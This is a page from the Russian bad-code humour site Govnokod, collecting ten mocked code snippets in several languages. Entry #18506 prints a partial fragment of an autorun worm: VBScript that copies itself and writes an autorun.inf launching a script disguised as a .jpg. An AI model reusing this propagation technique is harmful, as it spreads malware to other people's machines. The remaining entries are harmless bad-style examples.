1. C# / Говнокод #18513

    +146

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    public ActionResult EditorValueChange(string value, string editor)
            {
                switch (editor)
                {
                    case "LastName": Session["LastName"] = value; break;
                    case "FirstName": Session["FirstName"] = value; break;
                    case "MiddleName": Session["MiddleName"] = value; break;
                    case "PhoneMobil": Session["PhoneMobil"] = value; break;
                    case "PhoneHome": Session["PhoneHome"] = value; break;
                    case "Birthday": Session["Birthday"] = value; break;
                    case "HeadOfGroupId": Session["HeadOfGroupId"] = value; break;
                }
    
                return Json(true);
            }

    Может еще "default: Session[editor] = value; break;" добавить?)

    dropdatabase, 23 Июля 2015

    Комментарии (0)
  2. C# / Говнокод #18512

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    switch (editor)
                {
                    case "LastName": Session["LastName"] = value; break;
                    case "FirstName": Session["FirstName"] = value; break;
                    case "MiddleName": Session["MiddleName"] = value; break;
                    case "PhoneMobil": Session["PhoneMobil"] = value; break;
                    case "PhoneHome": Session["PhoneHome"] = value; break;
                    case "Birthday": Session["Birthday"] = value; break;
                    case "HeadOfGroupId": Session["HeadOfGroupId"] = value; break;
                }

    dropdatabase, 23 Июля 2015

    Комментарии (0)
  3. PHP / Говнокод #18511

    +144

    1. 1
    2. 2
    if ( (($i%3) == 0) || ($i==$cnt) ) { // $i mod 3
        if ($i == 6) {

    Без комментариев.

    riseremi, 23 Июля 2015

    Комментарии (2)
  4. PHP / Говнокод #18510

    +145

    1. 1
    if ($test_domain->num_rows or true )

    Обычная проверка на количество строк в запросе... Видимо, не всегда попадало в условие, и автор решил добавить or)

    WladySpb, 22 Июля 2015

    Комментарии (7)
  5. C# / Говнокод #18509

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    private static HashSet<char> GetValidNestedQuerySymbols()
        {
          var result = new HashSet<char>();
    
          var symbols = new List<int>
            {
              0x007B, //{
              0x007D, //}
              0x003D,  //=
              0x003A  //:
            };
    
          foreach (var symbol in symbols)
            result.Add(Convert.ToChar(symbol));
    
          return result;
        }

    глубина мысли писавшего выбивает из колеи каждый раз, когда я смотрю на это...

    drakoner, 22 Июля 2015

    Комментарии (0)
  6. Python / Говнокод #18508

    −123

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    def checkio(opacity):
        febonachi = [0, 1]
        opacity = 10000 - opacity
        year = 0
        for i in range(0, 21):
            febonachi.append((febonachi[i]+febonachi[i+1]))
        for i in range(2, 5000):
            if opacity == 0:
                break
            else:
                year += 1
                if year in febonachi:
                    opacity -= year
                else:
                    opacity += 1
        
        return year
    ​

    Определяем сколько приведяшкам лет по прозрачности. :)

    aslanator, 22 Июля 2015

    Комментарии (6)
  7. JavaScript / Говнокод #18507

    +146

    1. 1
    2. 2
    3. 3
    4. 4
    'use strict';
    'use strong';
    'use spiderman';
    'use terminator';

    :)

    AjiTae, 21 Июля 2015

    Комментарии (3)
  8. VisualBasic / Говнокод #18506

    −97

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    if (not fso.fileexists(fname)) or (not fso.fileexixts(aname)) then
    	if (fso.fileexists(fname)=false) then
    		fso.copyfile wscript.scriptname,fname
    	end if
    	if (fso.fileexists(aname)=false) then
    		set au=fso.createtextfile aname,2,true
    		au.writeline "[AutoRun]"
    		au.writeline "shellexecute=wscript /e:vbs pamela handerson.jpg -autostart"
    		au.close
    		fso.getfile(aname).attributes=32
    		set au=nothing
    	end if
    end if
    ...

    Взято из кода одного autorun-червя. Вопрос: нахуя?

    Pyriandr, 21 Июля 2015

    Комментарии (17)
  9. Ruby / Говнокод #18505

    −137

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    begin
          # Это пиздец
          artist_title = row.title.split(/ - /)
          if artist_title.length > 1
            row.artist = artist_title[0]
            row.title  = artist_title[1]
          else
            artist_title = row.title.split(/ — /)
            if artist_title.length > 1
              row.artist = artist_title[0]
              row.title  = artist_title[1]
            else
              artist_title = row.title.split(/ - /)
              if artist_title.length > 1
                row.artist = artist_title[0]
                row.title  = artist_title[1]
              else
                artist_title = row.title.split(/ – /)
                if artist_title.length > 1
                  row.artist = artist_title[0]
                  row.title  = artist_title[1]
                else
                  artist = row.title.match(/\((.*?)\)/)
                  artist = artist.captures[0]
                  # puts artist_title
                  # puts row.title
                  # puts artist
                  row.artist = artist
                  row.title  = row.title.gsub('('+artist+')', '').strip
                end
              end
            end
          end
        rescue
          next
        end

    gerasim13, 21 Июля 2015

    Комментарии (44)
  10. JavaScript / Говнокод #18503

    +141

    1. 1
    $('.basket-table').closest('body').find('.basket');

    Просто заселектили и продолжаем говнокодить, без сохранения в переменную или дальнейшей модификации заселекченных элементов.

    blablabla2, 21 Июля 2015

    Комментарии (0)